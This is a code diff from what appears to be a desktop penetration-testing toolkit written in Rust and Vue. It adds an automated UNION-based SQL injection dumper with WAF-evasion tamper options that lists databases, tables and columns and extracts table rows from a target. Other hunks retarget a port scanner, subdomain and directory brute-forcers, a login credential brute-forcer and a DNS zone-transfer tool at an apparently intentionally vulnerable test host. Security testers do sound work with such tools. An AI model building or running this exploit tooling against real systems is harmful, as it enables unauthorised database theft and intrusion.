let fields: Vec<String> = (1..=cols_count)
|
||||||
|
.map(|i| if i == pos { wrapped.clone() } else { "NULL".into() })
|
||||||
|
.collect();
|
||||||
|
let injected = apply_tamper(
|
||||||
|
&format!("{}{} UNION SELECT {}-- -", point.base_value, req.prefix, fields.join(",")),
|
||||||
|
&req.tamper,
|
||||||
|
);
|
||||||
|
|
||||||
|
let _ = app.emit("sqli:dump:status",
|
||||||
|
format!("→ {} · dbms={} · marker={} · {}col@{}", req.action, dbms, marker, cols_count, pos));
|
||||||
|
|
||||||
|
let (body, status, elapsed) = send(&client, &target, &point, &injected).await
|
||||||
|
.ok_or_else(|| "request failed or timed out".to_string())?;
|
||||||
|
|
||||||
|
let re = Regex::new(&format!("{m}([\\s\\S]+?){m}", m = regex::escape(&marker)))
|
||||||
|
.map_err(|e| e.to_string())?;
|
||||||
|
let captured = re.captures(&body)
|
||||||
|
.and_then(|c| c.get(1))
|
||||||
|
.map(|m| m.as_str().to_string())
|
||||||
|
.unwrap_or_default();
|
||||||
|
|
||||||
|
if captured.is_empty() {
|
||||||
|
// surface backend errors so the UI can show what went wrong
|
||||||
|
let snippet = if body.len() > 400 {
|
||||||
|
format!("{}...", body.chars().take(400).collect::<String>())
|
||||||
|
} else { body.clone() };
|
||||||
|
return Err(format!("no marker in response (status={} elapsed={}ms). body: {}", status, elapsed, snippet));
|
||||||
|
}
|
||||||
|
|
||||||
|
let (headers, rows) = parse_dump_captured(&req.action, &captured, &req.columns);
|
||||||
|
let count = rows.len();
|
||||||
|
|
||||||
|
// GROUP_CONCAT / STRING_AGG truncation hints
|
||||||
|
let truncated = match dbms.as_str() {
|
||||||
|
"MySQL" => captured.len() > 1020, // default group_concat_max_len = 1024
|
||||||
|
_ => false,
|
||||||
|
};
|
||||||
|
|
||||||
|
Ok(SqliDumpResult {
|
||||||
|
dbms: dbms.clone(),
|
||||||
|
action: req.action.clone(),
|
||||||
|
headers,
|
||||||
|
rows,
|
||||||
|
count,
|
||||||
|
truncated,
|
||||||
|
raw_payload: injected,
|
||||||
|
raw_captured: captured,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|||||||
@@ -17,7 +17,7 @@ interface AdminHit {
|
|||||||
redirect?: string;
|
redirect?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
const baseUrl = ref("https://example.com");
|
const baseUrl = ref("https://insecure.newploit.com");
|
||||||
const useBuiltin = ref(true);
|
const useBuiltin = ref(true);
|
||||||
const extraPaths = ref("");
|
const extraPaths = ref("");
|
||||||
const acceptStatusStr = ref("200,301,302,401,403");
|
const acceptStatusStr = ref("200,301,302,401,403");
|
||||||
|
|||||||
@@ -23,10 +23,10 @@ interface StageState {
|
|||||||
hits: number;
|
hits: number;
|
||||||
}
|
}
|
||||||
|
|
||||||
const domain = ref("example.com");
|
const domain = ref("insecure.newploit.com");
|
||||||
const usePassive = ref(true);
|
const usePassive = ref(true);
|
||||||
const bruteList = ref("www,api,dev,staging,admin,mail,app,portal,vpn,test,beta,m,shop,blog,docs,git,jenkins,jira,grafana,prometheus,sso,auth,login,dashboard,internal");
|
const bruteList = ref("www,api,dev,staging,admin,mail,app,portal,vpn,test,beta,m,shop,blog,docs,git,jenkins,jira,grafana,prometheus,sso,auth,login,dashboard,internal");
|
||||||
const ports = ref("80,443,8080,8443");
|
const ports = ref("80,443");
|
||||||
const concurrency = ref(30);
|
const concurrency = ref(30);
|
||||||
const timeoutMs = ref(8000);
|
const timeoutMs = ref(8000);
|
||||||
|
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ interface Hit {
|
|||||||
bytes: number;
|
bytes: number;
|
||||||
}
|
}
|
||||||
|
|
||||||
const host = ref("scanme.nmap.org");
|
const host = ref("insecure.newploit.com");
|
||||||
const portSpec = ref("21,22,23,25,80,110,143,443,445,465,587,993,995,1433,3306,3389,5432,5900,6379,8080,8443,9200,27017");
|
const portSpec = ref("21,22,23,25,80,110,143,443,445,465,587,993,995,1433,3306,3389,5432,5900,6379,8080,8443,9200,27017");
|
||||||
const concurrency = ref(30);
|
const concurrency = ref(30);
|
||||||
const timeoutMs = ref(4000);
|
const timeoutMs = ref(4000);
|
||||||
|
|||||||
@@ -18,7 +18,7 @@ interface DirHit {
|
|||||||
time_ms: number;
|
time_ms: number;
|
||||||
}
|
}
|
||||||
|
|
||||||
const baseUrl = ref("https://example.com");
|
const baseUrl = ref("https://insecure.newploit.com");
|
||||||
const wordlist = ref("");
|
const wordlist = ref("");
|
||||||
const extensions = ref(".php,.html,.bak,.zip,.json,.txt");
|
const extensions = ref(".php,.html,.bak,.zip,.json,.txt");
|
||||||
const acceptStatusStr = ref("200,201,204,301,302,307,308,401,403,405");
|
const acceptStatusStr = ref("200,201,204,301,302,307,308,401,403,405");
|
||||||
|
|||||||
@@ -15,7 +15,7 @@ interface Report {
|
|||||||
errors: string[];
|
errors: string[];
|
||||||
}
|
}
|
||||||
|
|
||||||
const domain = ref("example.com");
|
const domain = ref("insecure.newploit.com");
|
||||||
const resolver = ref("");
|
const resolver = ref("");
|
||||||
const tryAxfr = ref(false);
|
const tryAxfr = ref(false);
|
||||||
const running = ref(false);
|
const running = ref(false);
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ interface Hit {
|
|||||||
time_ms: number;
|
time_ms: number;
|
||||||
}
|
}
|
||||||
|
|
||||||
const url = ref("https://target.com/login.php");
|
const url = ref("https://insecure.newploit.com/login.php");
|
||||||
const method = ref("POST");
|
const method = ref("POST");
|
||||||
const bodyTemplate = ref("username={USER}&password={PASS}");
|
const bodyTemplate = ref("username={USER}&password={PASS}");
|
||||||
const headersRaw = ref("");
|
const headersRaw = ref("");
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ import { listen, type UnlistenFn } from "@tauri-apps/api/event";
|
|||||||
import Terminal from "../Terminal.vue";
|
import Terminal from "../Terminal.vue";
|
||||||
import { useTerminal } from "../../composables/useTerminal";
|
import { useTerminal } from "../../composables/useTerminal";
|
||||||
|
|
||||||
const targets = ref("example.com\nscanme.nmap.org");
|
const targets = ref("insecure.newploit.com");
|
||||||
const ports = ref("80,443,8080,8443");
|
const ports = ref("80,443,8080,8443");
|
||||||
const concurrency = ref(50);
|
const concurrency = ref(50);
|
||||||
const timeoutMs = ref(5000);
|
const timeoutMs = ref(5000);
|
||||||
|
|||||||
@@ -6,7 +6,7 @@ import Terminal from "../Terminal.vue";
|
|||||||
import Prompt from "../Prompt.vue";
|
import Prompt from "../Prompt.vue";
|
||||||
import { useTerminal } from "../../composables/useTerminal";
|
import { useTerminal } from "../../composables/useTerminal";
|
||||||
|
|
||||||
const target = ref("scanme.nmap.org");
|
const target = ref("insecure.newploit.com");
|
||||||
const portSpec = ref("top1000");
|
const portSpec = ref("top1000");
|
||||||
const concurrency = ref(200);
|
const concurrency = ref(200);
|
||||||
const timeoutMs = ref(1500);
|
const timeoutMs = ref(1500);
|
||||||
|
|||||||
@@ -27,7 +27,7 @@ interface HistoryItem {
|
|||||||
}
|
}
|
||||||
|
|
||||||
const method = ref("GET");
|
const method = ref("GET");
|
||||||
const url = ref("https://example.com/");
|
const url = ref("https://insecure.newploit.com/");
|
||||||
const headersRaw = ref("User-Agent: Mozilla/5.0 (PocketPentester)\nAccept: */*");
|
const headersRaw = ref("User-Agent: Mozilla/5.0 (PocketPentester)\nAccept: */*");
|
||||||
const body = ref("");
|
const body = ref("");
|
||||||
const followRedirects = ref(false);
|
const followRedirects = ref(false);
|
||||||
|
|||||||
@@ -18,9 +18,39 @@ interface Finding {
|
|||||||
evidence: string;
|
evidence: string;
|
||||||
confidence: string;
|
confidence: string;
|
||||||
extracted: Record<string, string>;
|
extracted: Record<string, string>;
|
||||||
|
base_value: string;
|
||||||
|
union_cols?: number | null;
|
||||||
|
union_position?: number | null;
|
||||||
}
|
}
|
||||||
|
|
||||||
const url = ref("https://target.com/item.php?id=1");
|
interface DumpResult {
|
||||||
|
dbms: string;
|
||||||
|
action: string;
|
||||||
|
headers: string[];
|
||||||
|
rows: string[][];
|
||||||
|
count: number;
|
||||||
|
truncated: boolean;
|
||||||
|
raw_payload: string;
|
||||||
|
raw_captured: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface DumpSession {
|
||||||
|
finding: Finding;
|
||||||
|
databases: string[];
|
||||||
|
selectedDb: string;
|
||||||
|
tables: string[];
|
||||||
|
selectedTable: string;
|
||||||
|
columns: string[];
|
||||||
|
selectedCols: Set<string>;
|
||||||
|
limit: number;
|
||||||
|
offset: number;
|
||||||
|
rowsResult: DumpResult | null;
|
||||||
|
busy: boolean;
|
||||||
|
err: string;
|
||||||
|
lastPayload: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
const url = ref("https://insecure.newploit.com/profile.php?id=1");
|
||||||
const method = ref("GET");
|
const method = ref("GET");
|
||||||
const body = ref("");
|
const body = ref("");
|
||||||
const headersRaw = ref("");
|
const headersRaw = ref("");
|
||||||
@@ -35,7 +65,7 @@ const tTime = ref(false);
|
|||||||
|
|
||||||
const level = ref(2);
|
const level = ref(2);
|
||||||
const risk = ref(1);
|
const risk = ref(1);
|
||||||
const stopOnFirst = ref(true);
|
const stopOnFirst = ref(false);
|
||||||
const autoExtract = ref(true);
|
const autoExtract = ref(true);
|
||||||
const followRedirects = ref(true);
|
const followRedirects = ref(true);
|
||||||
|
|
||||||
@@ -47,9 +77,182 @@ const concurrency = ref(4);
|
|||||||
const timeoutMs = ref(15000);
|
const timeoutMs = ref(15000);
|
||||||
const running = ref(false);
|
const running = ref(false);
|
||||||
const findings = ref<Finding[]>([]);
|
const findings = ref<Finding[]>([]);
|
||||||
|
const dumpSessions = ref<Record<number, DumpSession>>({});
|
||||||
const log = useTerminal();
|
const log = useTerminal();
|
||||||
const unlistens: UnlistenFn[] = [];
|
const unlistens: UnlistenFn[] = [];
|
||||||
|
|
||||||
|
function getOrCreateSession(idx: number, f: Finding): DumpSession {
|
||||||
|
if (!dumpSessions.value[idx]) {
|
||||||
|
dumpSessions.value[idx] = {
|
||||||
|
finding: f,
|
||||||
|
databases: [],
|
||||||
|
selectedDb: "",
|
||||||
|
tables: [],
|
||||||
|
selectedTable: "",
|
||||||
|
columns: [],
|
||||||
|
selectedCols: new Set(),
|
||||||
|
limit: 100,
|
||||||
|
offset: 0,
|
||||||
|
rowsResult: null,
|
||||||
|
busy: false,
|
||||||
|
err: "",
|
||||||
|
lastPayload: "",
|
||||||
|
};
|
||||||
|
}
|
||||||
|
return dumpSessions.value[idx];
|
||||||
|
}
|
||||||
|
|
||||||
|
function currentTamper(): string[] {
|
||||||
|
const tamper: string[] = [];
|
||||||
|
if (tamperRandomcase.value) tamper.push("randomcase");
|
||||||
|
if (tamperSpace2comment.value) tamper.push("space2comment");
|
||||||
|
if (tamperEqualToLike.value) tamper.push("equaltolike");
|
||||||
|
return tamper;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function ensureUnion(f: Finding): Promise<boolean> {
|
||||||
|
if (f.union_cols && f.union_position) return true;
|
||||||
|
log.dim(`◌ probing UNION columns for ${f.location}:${f.param}…`);
|
||||||
|
try {
|
||||||
|
const r = await invoke<{ prefix: string; cols: number; position: number; dbms: string | null; extracted: Record<string, string> }>(
|
||||||
|
"sqli_probe_union",
|
||||||
|
{
|
||||||
|
req: {
|
||||||
|
url: url.value,
|
||||||
|
method: method.value,
|
||||||
|
body: body.value || null,
|
||||||
|
headers: parseHeaders(),
|
||||||
|
cookies: cookies.value || null,
|
||||||
|
param: f.param,
|
||||||
|
location: f.location,
|
||||||
|
base_value: f.base_value,
|
||||||
|
level: level.value,
|
||||||
|
tamper: currentTamper(),
|
||||||
|
timeout_ms: timeoutMs.value,
|
||||||
|
follow_redirects: followRedirects.value,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
);
|
||||||
|
f.prefix = r.prefix;
|
||||||
|
f.union_cols = r.cols;
|
||||||
|
f.union_position = r.position;
|
||||||
|
if (r.dbms) f.dbms = r.dbms;
|
||||||
|
if (r.extracted) {
|
||||||
|
for (const [k, v] of Object.entries(r.extracted)) f.extracted[k] = v;
|
||||||
|
}
|
||||||
|
log.valid(`● UNION ok → ${r.cols} col(s), injectable @ position ${r.position}, prefix="${r.prefix}"`);
|
||||||
|
return true;
|
||||||
|
} catch (e: any) {
|
||||||
|
log.err(`union probe: ${e}`);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function callDump(f: Finding, action: string, extra: Partial<{
|
||||||
|
database: string; table: string; columns: string[]; limit: number; offset: number; custom_sql: string;
|
||||||
|
}>): Promise<DumpResult> {
|
||||||
|
return await invoke<DumpResult>("sqli_dump", {
|
||||||
|
req: {
|
||||||
|
url: url.value,
|
||||||
|
method: method.value,
|
||||||
|
body: body.value || null,
|
||||||
|
headers: parseHeaders(),
|
||||||
|
cookies: cookies.value || null,
|
||||||
|
param: f.param,
|
||||||
|
location: f.location,
|
||||||
|
base_value: f.base_value,
|
||||||
|
prefix: f.prefix,
|
||||||
|
cols: f.union_cols ?? 1,
|
||||||
|
position: f.union_position ?? 1,
|
||||||
|
dbms: f.dbms ?? "MySQL",
|
||||||
|
action,
|
||||||
|
database: extra.database ?? null,
|
||||||
|
table: extra.table ?? null,
|
||||||
|
columns: extra.columns ?? null,
|
||||||
|
limit: extra.limit ?? 100,
|
||||||
|
offset: extra.offset ?? 0,
|
||||||
|
custom_sql: extra.custom_sql ?? null,
|
||||||
|
tamper: currentTamper(),
|
||||||
|
timeout_ms: timeoutMs.value,
|
||||||
|
follow_redirects: followRedirects.value,
|
||||||
|
},
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async function listDatabases(idx: number, f: Finding) {
|
||||||
|
const s = getOrCreateSession(idx, f);
|
||||||
|
s.busy = true; s.err = "";
|
||||||
|
try {
|
||||||
|
if (!(await ensureUnion(f))) { s.err = "union probe failed"; return; }
|
||||||
|
const r = await callDump(f, "databases", {});
|
||||||
|
s.databases = r.rows.map(row => row[0]);
|
||||||
|
s.lastPayload = r.raw_payload;
|
||||||
|
log.valid(`● databases: ${s.databases.length} → ${s.databases.join(", ")}`);
|
||||||
|
} catch (e: any) {
|
||||||
|
s.err = String(e); log.err(`databases: ${e}`);
|
||||||
|
} finally { s.busy = false; }
|
||||||
|
}
|
||||||
|
|
||||||
|
async function listTables(idx: number, f: Finding) {
|
||||||
|
const s = getOrCreateSession(idx, f);
|
||||||
|
if (!s.selectedDb) { s.err = "select a database first"; return; }
|
||||||
|
s.busy = true; s.err = "";
|
||||||
|
try {
|
||||||
|
if (!(await ensureUnion(f))) { s.err = "union probe failed"; return; }
|
||||||
|
const r = await callDump(f, "tables", { database: s.selectedDb });
|
||||||
|
s.tables = r.rows.map(row => row[0]);
|
||||||
|
s.lastPayload = r.raw_payload;
|
||||||
|
log.valid(`● tables in ${s.selectedDb}: ${s.tables.length}`);
|
||||||
|
} catch (e: any) {
|
||||||
|
s.err = String(e); log.err(`tables: ${e}`);
|
||||||
|
} finally { s.busy = false; }
|
||||||
|
}
|
||||||
|
|
||||||
|
async function listColumns(idx: number, f: Finding) {
|
||||||
|
const s = getOrCreateSession(idx, f);
|
||||||
|
if (!s.selectedTable) { s.err = "select a table first"; return; }
|
||||||
|
s.busy = true; s.err = "";
|
||||||
|
try {
|
||||||
|
if (!(await ensureUnion(f))) { s.err = "union probe failed"; return; }
|
||||||
|
const r = await callDump(f, "columns", { database: s.selectedDb, table: s.selectedTable });
|
||||||
|
s.columns = r.rows.map(row => row[0]);
|
||||||
|
s.selectedCols = new Set(s.columns);
|
||||||
|
s.lastPayload = r.raw_payload;
|
||||||
|
log.valid(`● columns in ${s.selectedTable}: ${s.columns.join(", ")}`);
|
||||||
|
} catch (e: any) {
|
||||||
|
s.err = String(e); log.err(`columns: ${e}`);
|
||||||
|
} finally { s.busy = false; }
|
||||||
|
}
|
||||||
|
|
||||||
|
async function dumpRows(idx: number, f: Finding) {
|
||||||
|
const s = getOrCreateSession(idx, f);
|
||||||
|
if (!s.selectedTable) { s.err = "select a table first"; return; }
|
||||||
|
if (s.selectedCols.size === 0) { s.err = "select at least one column"; return; }
|
||||||
|
s.busy = true; s.err = "";
|
||||||
|
try {
|
||||||
|
if (!(await ensureUnion(f))) { s.err = "union probe failed"; return; }
|
||||||
|
const orderedCols = s.columns.filter(c => s.selectedCols.has(c));
|
||||||
|
const r = await callDump(f, "rows", {
|
||||||
|
database: s.selectedDb,
|
||||||
|
table: s.selectedTable,
|
||||||
|
columns: orderedCols,
|
||||||
|
limit: s.limit,
|
||||||
|
offset: s.offset,
|
||||||
|
});
|
||||||
|
s.rowsResult = r;
|
||||||
|
s.lastPayload = r.raw_payload;
|
||||||
|
log.valid(`● dumped ${r.count} row(s) from ${s.selectedTable}${r.truncated ? " [TRUNCATED - increase group_concat_max_len]" : ""}`);
|
||||||
|
} catch (e: any) {
|
||||||
|
s.err = String(e); log.err(`dump: ${e}`);
|
||||||
|
} finally { s.busy = false; }
|
||||||
|
}
|
||||||
|
|
||||||
|
function toggleCol(idx: number, f: Finding, col: string) {
|
||||||
|
const s = getOrCreateSession(idx, f);
|
||||||
|
if (s.selectedCols.has(col)) s.selectedCols.delete(col); else s.selectedCols.add(col);
|
||||||
|
s.selectedCols = new Set(s.selectedCols);
|
||||||
|
}
|
||||||
|
|
||||||
function parseHeaders(): Record<string, string> {
|
function parseHeaders(): Record<string, string> {
|
||||||
const out: Record<string, string> = {};
|
const out: Record<string, string> = {};
|
||||||
for (const line of headersRaw.value.split("\n")) {
|
for (const line of headersRaw.value.split("\n")) {
|
||||||
@@ -206,6 +409,7 @@ onUnmounted(cleanup);
|
|||||||
<span class="f-tech">{{ f.technique }}</span>
|
<span class="f-tech">{{ f.technique }}</span>
|
||||||
<span class="f-loc">{{ f.location }} / <b>{{ f.param }}</b></span>
|
<span class="f-loc">{{ f.location }} / <b>{{ f.param }}</b></span>
|
||||||
<span v-if="f.dbms" class="f-dbms">{{ f.dbms }}</span>
|
<span v-if="f.dbms" class="f-dbms">{{ f.dbms }}</span>
|
||||||
|
<span v-if="f.union_cols" class="f-dbms">{{ f.union_cols }}col @ {{ f.union_position }}</span>
|
||||||
<span class="sev" :class="`sev-${f.confidence.toLowerCase()}`">{{ f.confidence }}</span>
|
<span class="sev" :class="`sev-${f.confidence.toLowerCase()}`">{{ f.confidence }}</span>
|
||||||
</div>
|
</div>
|
||||||
<div class="f-payload">
|
<div class="f-payload">
|
||||||
@@ -219,6 +423,81 @@ onUnmounted(cleanup);
|
|||||||
<span class="k">{{ k }}:</span> <span class="v">{{ v }}</span>
|
<span class="k">{{ k }}:</span> <span class="v">{{ v }}</span>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<!-- Dump panel — shown for any finding. Union cols are
|
||||||
|
probed on-demand if the scan never ran UNION. -->
|
||||||
|
<div class="dump-panel">
|
||||||
|
<div class="dump-head">[ DUMP ]
|
||||||
|
<span v-if="!f.union_cols" class="dump-hint">union will be probed on first click</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="dump-row">
|
||||||
|
<button class="mini-btn" :disabled="(dumpSessions[i]?.busy)" @click="listDatabases(i, f)">
|
||||||
|
{{ dumpSessions[i]?.busy ? "…" : "list databases" }}
|
||||||
|
</button>
|
||||||
|
<select v-if="dumpSessions[i]?.databases?.length"
|
||||||
|
v-model="dumpSessions[i].selectedDb"
|
||||||
|
@change="dumpSessions[i].tables = []; dumpSessions[i].columns = []; dumpSessions[i].rowsResult = null">
|
||||||
|
<option value="">— db —</option>
|
||||||
|
<option v-for="d in dumpSessions[i].databases" :key="d" :value="d">{{ d }}</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div v-if="dumpSessions[i]?.selectedDb" class="dump-row">
|
||||||
|
<button class="mini-btn" :disabled="dumpSessions[i].busy" @click="listTables(i, f)">
|
||||||
|
{{ dumpSessions[i].busy ? "…" : "list tables" }}
|
||||||
|
</button>
|
||||||
|
<select v-if="dumpSessions[i]?.tables?.length"
|
||||||
|
v-model="dumpSessions[i].selectedTable"
|
||||||
|
@change="dumpSessions[i].columns = []; dumpSessions[i].rowsResult = null">
|
||||||
|
<option value="">— table —</option>
|
||||||
|
<option v-for="t in dumpSessions[i].tables" :key="t" :value="t">{{ t }}</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div v-if="dumpSessions[i]?.selectedTable" class="dump-row">
|
||||||
|
<button class="mini-btn" :disabled="dumpSessions[i].busy" @click="listColumns(i, f)">
|
||||||
|
{{ dumpSessions[i].busy ? "…" : "list columns" }}
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div v-if="dumpSessions[i]?.columns?.length" class="col-chips">
|
||||||
|
<label v-for="c in dumpSessions[i].columns" :key="c" class="col-chip" :class="{ on: dumpSessions[i].selectedCols.has(c) }">
|
||||||
|
<input type="checkbox" :checked="dumpSessions[i].selectedCols.has(c)" @change="toggleCol(i, f, c)" />
|
||||||
|
<span>{{ c }}</span>
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div v-if="dumpSessions[i]?.columns?.length" class="dump-row">
|
||||||
|
<label class="mini"><span>limit</span><input v-model.number="dumpSessions[i].limit" type="number" min="1" max="10000" /></label>
|
||||||
|
<label class="mini"><span>offset</span><input v-model.number="dumpSessions[i].offset" type="number" min="0" /></label>
|
||||||
|
<button class="mini-btn hit" :disabled="dumpSessions[i].busy" @click="dumpRows(i, f)">
|
||||||
|
{{ dumpSessions[i].busy ? "…" : "> dump rows" }}
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div v-if="dumpSessions[i]?.err" class="dump-err">{{ dumpSessions[i].err }}</div>
|
||||||
|
|
||||||
|
<div v-if="dumpSessions[i]?.rowsResult" class="dump-table-wrap">
|
||||||
|
<div class="dump-meta">
|
||||||
|
{{ dumpSessions[i].rowsResult.count }} row(s)
|
||||||
|
<span v-if="dumpSessions[i].rowsResult.truncated" class="trunc">· TRUNCATED</span>
|
||||||
|
</div>
|
||||||
|
<table class="dump-table">
|
||||||
|
<thead><tr><th v-for="h in dumpSessions[i].rowsResult.headers" :key="h">{{ h }}</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr v-for="(row, ri) in dumpSessions[i].rowsResult.rows" :key="ri">
|
||||||
|
<td v-for="(cell, ci) in row" :key="ci">{{ cell }}</td>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<details v-if="dumpSessions[i]?.lastPayload" class="dump-payload">
|
||||||
|
<summary>last payload</summary>
|
||||||
|
<pre>{{ dumpSessions[i].lastPayload }}</pre>
|
||||||
|
</details>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -331,4 +610,98 @@ code {
|
|||||||
}
|
}
|
||||||
.kv .k { color: var(--fg-dim); text-transform: uppercase; letter-spacing: 0.1em; font-size: 9px; }
|
.kv .k { color: var(--fg-dim); text-transform: uppercase; letter-spacing: 0.1em; font-size: 9px; }
|
||||||
.kv .v { color: var(--valid); font-weight: 700; }
|
.kv .v { color: var(--valid); font-weight: 700; }
|
||||||
|
|
||||||
|
.dump-panel {
|
||||||
|
margin-top: 6px;
|
||||||
|
padding-top: 6px;
|
||||||
|
border-top: 1px dashed var(--border);
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 4px;
|
||||||
|
}
|
||||||
|
.dump-head {
|
||||||
|
color: var(--alert);
|
||||||
|
font-size: 9px;
|
||||||
|
letter-spacing: 0.25em;
|
||||||
|
font-weight: 700;
|
||||||
|
}
|
||||||
|
.dump-hint { color: var(--fg-ghost); font-size: 9px; letter-spacing: 0.1em; margin-left: 6px; font-weight: 400; text-transform: none; }
|
||||||
|
.dump-row {
|
||||||
|
display: flex;
|
||||||
|
gap: 6px;
|
||||||
|
align-items: center;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
}
|
||||||
|
.mini-btn {
|
||||||
|
background: var(--bg);
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
color: var(--fg);
|
||||||
|
padding: 3px 10px;
|
||||||
|
font-family: inherit;
|
||||||
|
font-size: 10px;
|
||||||
|
cursor: pointer;
|
||||||
|
flex-shrink: 0;
|
||||||
|
height: auto;
|
||||||
|
}
|
||||||
|
.mini-btn:hover:not(:disabled) { border-color: var(--accent); color: var(--accent); }
|
||||||
|
.mini-btn:disabled { opacity: 0.5; cursor: not-allowed; }
|
||||||
|
.mini-btn.hit { border-color: var(--alert); color: var(--alert); }
|
||||||
|
.mini-btn.hit:hover:not(:disabled) { background: rgba(255, 47, 74, 0.08); }
|
||||||
|
.dump-panel select {
|
||||||
|
background: var(--bg);
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
color: var(--fg);
|
||||||
|
padding: 3px 6px;
|
||||||
|
font-family: inherit;
|
||||||
|
font-size: 11px;
|
||||||
|
min-width: 120px;
|
||||||
|
}
|
||||||
|
.dump-panel select:focus { border-color: var(--accent); outline: none; }
|
||||||
|
.col-chips { display: flex; flex-wrap: wrap; gap: 3px; }
|
||||||
|
.col-chip {
|
||||||
|
display: inline-flex;
|
||||||
|
gap: 4px;
|
||||||
|
align-items: center;
|
||||||
|
padding: 1px 6px;
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
font-size: 10px;
|
||||||
|
color: var(--fg-dim);
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
.col-chip input { display: none; }
|
||||||
|
.col-chip.on { color: var(--valid); border-color: var(--valid); background: rgba(92, 217, 130, 0.06); }
|
||||||
|
.dump-err { color: var(--alert); font-size: 10px; font-family: var(--mono); }
|
||||||
|
.dump-meta { color: var(--fg-dim); font-size: 10px; }
|
||||||
|
.dump-meta .trunc { color: var(--warn); margin-left: 6px; }
|
||||||
|
.dump-table-wrap { max-height: 240px; overflow: auto; border: 1px solid var(--border); }
|
||||||
|
.dump-table {
|
||||||
|
border-collapse: collapse;
|
||||||
|
width: 100%;
|
||||||
|
font-size: 10px;
|
||||||
|
font-family: var(--mono);
|
||||||
|
}
|
||||||
|
.dump-table th, .dump-table td {
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
padding: 2px 6px;
|
||||||
|
text-align: left;
|
||||||
|
white-space: nowrap;
|
||||||
|
max-width: 240px;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
}
|
||||||
|
.dump-table th { background: var(--bg); color: var(--alert); text-transform: uppercase; letter-spacing: 0.1em; font-size: 9px; }
|
||||||
|
.dump-table td { color: var(--valid); }
|
||||||
|
.dump-payload summary { font-size: 9px; color: var(--fg-ghost); text-transform: uppercase; letter-spacing: 0.15em; cursor: pointer; }
|
||||||
|
.dump-payload pre {
|
||||||
|
background: var(--bg);
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
padding: 4px 6px;
|
||||||
|
font-size: 10px;
|
||||||
|
color: var(--fg-dim);
|
||||||
|
white-space: pre-wrap;
|
||||||
|
word-break: break-all;
|
||||||
|
margin: 4px 0 0;
|
||||||
|
max-height: 120px;
|
||||||
|
overflow: auto;
|
||||||
|
}
|
||||||
</style>
|
</style>
|
||||||
|
|||||||
@@ -32,7 +32,7 @@ interface Report {
|
|||||||
alpn?: string;
|
alpn?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
const host = ref("example.com");
|
const host = ref("insecure.newploit.com");
|
||||||
const port = ref(443);
|
const port = ref(443);
|
||||||
const timeoutMs = ref(8000);
|
const timeoutMs = ref(8000);
|
||||||
const running = ref(false);
|
const running = ref(false);
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ import { useTerminal } from "../../composables/useTerminal";
|
|||||||
interface SourceList { free: string[]; key_based: string[]; }
|
interface SourceList { free: string[]; key_based: string[]; }
|
||||||
interface SourceStat { source: string; count: number; error?: string | null; took_ms: number; }
|
interface SourceStat { source: string; count: number; error?: string | null; took_ms: number; }
|
||||||
|
|
||||||
const domain = ref("example.com");
|
const domain = ref("newploit.com");
|
||||||
const wordlist = ref("www,api,dev,staging,admin,mail,ftp,test,portal,app,beta,vpn,m,blog,shop");
|
const wordlist = ref("www,api,dev,staging,admin,mail,ftp,test,portal,app,beta,vpn,m,blog,shop");
|
||||||
const concurrency = ref(50);
|
const concurrency = ref(50);
|
||||||
const running = ref(false);
|
const running = ref(false);
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ type View = "list" | "editor";
|
|||||||
|
|
||||||
const view = ref<View>("list");
|
const view = ref<View>("list");
|
||||||
|
|
||||||
const targets = ref("https://example.com");
|
const targets = ref("https://insecure.newploit.com");
|
||||||
const templates = ref<TemplateRef[]>([]);
|
const templates = ref<TemplateRef[]>([]);
|
||||||
const selected = ref<Set<string>>(new Set());
|
const selected = ref<Set<string>>(new Set());
|
||||||
|
|
||||||
|
|||||||
@@ -6,7 +6,7 @@ import Terminal from "../Terminal.vue";
|
|||||||
import Prompt from "../Prompt.vue";
|
import Prompt from "../Prompt.vue";
|
||||||
import { useTerminal } from "../../composables/useTerminal";
|
import { useTerminal } from "../../composables/useTerminal";
|
||||||
|
|
||||||
const url = ref("https://example.com/search?q=test");
|
const url = ref("https://insecure.newploit.com/search.php?q=test");
|
||||||
const paramsFilter = ref("");
|
const paramsFilter = ref("");
|
||||||
const useGet = ref(true);
|
const useGet = ref(true);
|
||||||
const usePost = ref(false);
|
const usePost = ref(false);
|
||||||
|
|||||||
@@ -20,41 +20,54 @@ docker compose up --build -d
|
|||||||
